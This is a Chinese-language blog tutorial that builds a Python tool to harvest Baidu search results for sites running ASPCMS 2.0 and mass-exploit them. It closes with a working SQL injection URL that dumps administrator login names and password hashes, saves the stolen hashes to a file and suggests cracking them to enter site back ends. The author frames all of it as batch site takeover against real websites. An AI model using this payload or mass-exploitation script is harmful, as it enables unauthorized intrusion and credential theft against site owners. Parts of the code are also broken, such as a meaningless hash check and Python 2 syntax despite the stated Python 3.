黑客腳本,python批量採集網站數據&exp驗證,塞滿了幾十G的硬碟

黑客腳本,python批量採集網站數據&exp驗證,塞滿了幾十G的硬盤

前言(私信小編007自動獲取大量Python學習資料)

最近幾天在整理從各處收集來的各種黑客工具包,大大小小的塞滿了十幾個G的硬盤,無意間發現了一個好幾年前的0day。心血來潮就拿去試了一下,沒想到真的還可以用,不過那些站點都已經老的不像樣了,個個年久失修,手工測了幾個發現,利用率還挺可觀,於是就想配合url採集器寫一個批量exp的Python腳本,於是就有了今天這一文。

開始:

環境,及使用模塊:

Python3

Requests

Beautifulsuop

Hashlib

老規矩先明確目標

  1. 需要編寫一個url採集器,收集我們的目標網址,
  2. 需要將我們的exp結合在其中。
  3. 先看一下exp 的格式吧,大致是這樣的:
  4. exp:xxx/xxx/xxx/xxx
  5. 百度關鍵字:xxxxxx
  6. 利用方式在網站後加上exp,直接爆出管理賬號密碼,
  7. 像這樣:www.baidu.com/xxx/xxx/xxxxxxxxx
  8. PS:後面都用這個代替我們的代碼中
  9. 再放個效果圖
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沒錯就是這樣。直接出賬號密碼哈哈哈。

好了我們正式開始寫程序。

url採集模塊:

首先我們要編寫一個基於百度搜索的url採集器。我們先來分析一下百度的搜索方式,

我們打開百度,輸入搜索關鍵字 這裡用芒果代替。

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  1. 可以看到wd參數後跟著我們的關鍵字,我們點擊一下第二頁看下頁碼是哪個參數在控制。
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  1. 好的我們和前面url對比一下會發現pn參數變成了10,同理我們開啟第三頁第四頁,發現頁碼的規律是從0開始每一頁加10.這裡我們修改pn參數為90看下是不是會到第十頁。
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  1. 可以看到真的變成第十頁了,證明我們的想法是正確的。我們取出網址如下
  2. https://www.baidu.com/s?wd=芒果&pn=0
  3. 這裡pn參數後面的東西我們可以不要,這樣就精簡很多。
  4. 我們開始寫代碼。我們先需要一個main函數打開我們的百度網頁,我們並利用for循環控制頁碼變量,實現打開每一頁的內容。
  5. 先實現打開一頁網站,代碼如下
import requests
from bs4 import BeautifulSoup as bs #這裡吧模塊命名為了bs,方面我們調用。
def main():
url='https://www.baidu.com/s?wd=芒果&pn=0'#定義url
r=requests.get(url=url)#請求目標網址
soup=bs(r.content,'lxml')#利用bs解析網址
print soup
if __name__ == '__main__':
main()#調用函數main

我們運行一下發現返回的頁面是這樣的,並沒有我們想要的內容。

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這是為什麼,原因就是因為百度是做了反爬的,但是不用擔心,我們只要加入headers參數,一起請求就可以了。修改後代碼如下:

def main():
url='https://www.baidu.com/s?wd=芒果&pn=0'#定義url
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#這裡百度是加了防爬機制的,需要加上user_agent驗證一下否則就會返回錯誤
r=requests.get(url=url,headers=headers)#請求目標網址
soup=bs(r.content,'lxml')#利用bs解析網址
print soup

這樣在運行,就可以看到成功的返回了網頁內容。

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好的,我們再加上我們的循環,讓他可以遍歷每一個網頁。一個簡單的爬蟲就寫好了,不過什麼內容也沒爬,先附上代碼。

import requests
from bs4 import BeautifulSoup as bs #這裡吧模塊命名為了bs,方面我們調用。
def main():
for i in range(0,750,10):#遍歷頁數,每次增加10
url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定義url
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#這裡百度是加了防爬機制的,需要加上user_agent驗證一下否則就會返回錯誤
r=requests.get(url=url,headers=headers)#請求目標網址
soup=bs(r.content,'lxml')#利用bs解析網址
print soup
if __name__ == '__main__':
main()#調用函數main

我們繼續分析網頁,取出每一個網址。右鍵審查元素,查看在源代碼中的位置。

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可以看到,我們的要取的數據,在一個名字為a的標籤中,我們用bs取出這個標籤所有內容。並用循環去取出“href”屬性中的網址,main函數代碼如下。

def main():
for i in range(0,10,10):
url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
r=requests.get(url=url,headers=headers)
soup=bs(r.content,'lxml')
urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我們想要的內容,re模塊是為了讓我們取出這個標籤的所有內容。
for url in urls:
print url['href']#取出href中的鏈接內容

這裡解釋一下為什麼有class:none這個語句,如果我們不加這一句,我們會發現我們同時也取到了百度快照的地址。在快照的地址中,class屬性是有值的,但是我們真正的鏈接中,沒有class屬性,這樣我們就不會取到快照的鏈接了。

運行一下。成功返回我們要的鏈接

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我們下一步就是驗證這些鏈接是否可用,因為有的網站雖然還可以搜索到,但是已經打不開了。這裡利用request模塊以此請求我們的鏈接,並查看返回的狀態碼是不是200,如果為兩百則說明,網站是正常可以打開的。

在for循環中加上如下兩行代碼,運行。

r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#請求抓取的鏈接,並設置超時時間為4秒。
print r_get_url.status_code
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可以看到成功反返回了200,。接下來我們就要吧可以成功訪問的網址的地址打印出來,並且只要網站的主頁網址。我們分析一個網址

https://www.xxx.com/xxx/xxxx/

發現這裡都是由“/”分割的,我們可以吧url用“/”分割,並取出我們要向的網址。

運行程序後。會發現返回這樣的網址,他們有一部分是帶著目錄的。

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我們用/分割url為列表之後,列表中的第一個為網站所使用協議,第三個則為我們要取的網址首頁。代碼如下

def main():
for i in range(0,10,10):
url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
r=requests.get(url=url,headers=headers)
soup=bs(r.content,'lxml')
urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我們想要的內容,re模塊是為了讓我們取出這個標籤的所有內容。
for url in urls:
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#請求抓取的鏈接,並設置超時時間為4秒。
if r_get_url.status_code==200:#判斷狀態碼是否為200
url_para= r_get_url.url#獲取狀態碼為200的鏈接
url_index_tmp=url_para.split('/')#以“/”分割url
url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#將分割後的網址重新拼湊成標準的格式。
print url_index

運行後,成功取出我們要取的內容。

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好的到這裡我們最主要的功能就實現了,下面我們進入我們激動人心的時候,加入exp,批量拿站。

exp模塊

如何實現這個功能呢,原理就是,在我們爬取的鏈接後加入我們的exp,拼接成一個完整的地址,並取出這個網址並保存在一個txt文本中,供我們驗證。現在我們的代碼是這樣的

# -*- coding: UTF-8 -*-
import requests
import re
from bs4 import BeautifulSoup as bs
def main():
for i in range(0,10,10):
expp=("/xxx/xxx/xxx/xx/xxxx/xxx")
url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
r=requests.get(url=url,headers=headers)
soup=bs(r.content,'lxml')
urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})
for url in urls:
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)
if r_get_url.status_code==200:
url_para= r_get_url.url
url_index_tmp=url_para.split('/')
url_index=url_index_tmp[0]+'//'+url_index_tmp[2]
with open('cs.txt') as f:
if url_index not in f.read():#這裡是一個去重的判斷,判斷網址是否已經在文本中,如果不存在則打開txt並寫入我們拼接的exp鏈接。
print url_index
f2=open("cs.txt",'a+')
f2.write(url_index+expp+'\n')
f2.close()

if __name__ == '__main__':
f2=open('cs.txt','w')
f2.close()
main()

這裡我把exp用xxx代替了,你們自行替換一下。放在最後了。

運行一下我們的程序,在根目錄下,我們可以找到一個cs.txt的文本文檔,打開之後是這樣的。

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打碼有一點點嚴重。不過不影響,小問題,大家理解就好了,其實到這裡就結束了,我們可以手工去驗證,一條一條的去粘貼訪問,查看是否有我們要的內容。But,我懶啊,一條一條的去驗證,何年何月了。

這裡我們在新建一個py文件,用來驗證我們上一步抓取的鏈接,這樣我們就把兩個模塊分開了,你們可以只用第一個url採集的功能。

我們的思路是這樣的,打開我們剛才採集的鏈接,並查找網頁上是否有特定內容,如果有,則講次鏈接保存在一個文件中,就是我們驗證可以成功利用的鏈接。

我們先看一下利用成功的頁面是什麼樣子的。

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利用失敗的頁面

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我們發現利用成功的頁面中有管理員密碼的hash,這裡我們利用hashlib模塊判斷頁面中是否有MD5,如果有則打印出來,並將MD5取出來和鏈接一起保存再文本中。我們先分析一下網站源碼,方便我們取出內容

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可以看到網站非常簡單,我們要取的內容分別在不同的屬性值一個為class:line1,一個為class:line2.我們只要用bs模塊取出這兩個標籤中的內容就可以了。代碼如下。

# -*- coding: UTF-8 -*-
from bs4 import BeautifulSoup as bs
import requests
import time
import hashlib
def expp():
f = open("cs.txt","r")#打開我們剛剛收集的文本文檔
url=f.readlines()#逐行取出我們的鏈接
for i in url:#將取出的鏈接放入循環中
try:#加入異常處理,讓報錯直接忽略,不影響程序運行
r=requests.get(i,timeout=5)#請求網址
if r.status_code == 200:#判斷網址是否可以正常打開,可以去掉這一個,我們剛剛驗證了
soup=bs(r.text,"lxml")#用bp解析網站
if hashlib.md5:#判斷網址中是否有MD5,如果有繼續運行
mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#獲取line1數據
mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#獲取line2數據
f2=open('cs2.txt','a+')#打開我們的文本
f2.write(i+"\n"+mb1+"\n")#將我們驗證好的鏈接,還有數據保存在文本中
f2.close()
print (mb1)
print (mb2)
except:
pass
f.close()
expp()

運行一下:

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成功,我們看一下我們的文件。

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完美,然後我們就可以去找後臺然後解密啦,你們懂得。

exp:

百度關鍵字:有限公司--Powered by ASPCMS 2.0
exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

總結:

1.吐槽一下python2對中文的不兼容,導致我還是換成了python3。

2.程序很簡單,但是重要的不是程序是思路。

3.這個url採集器是簡化版本的。

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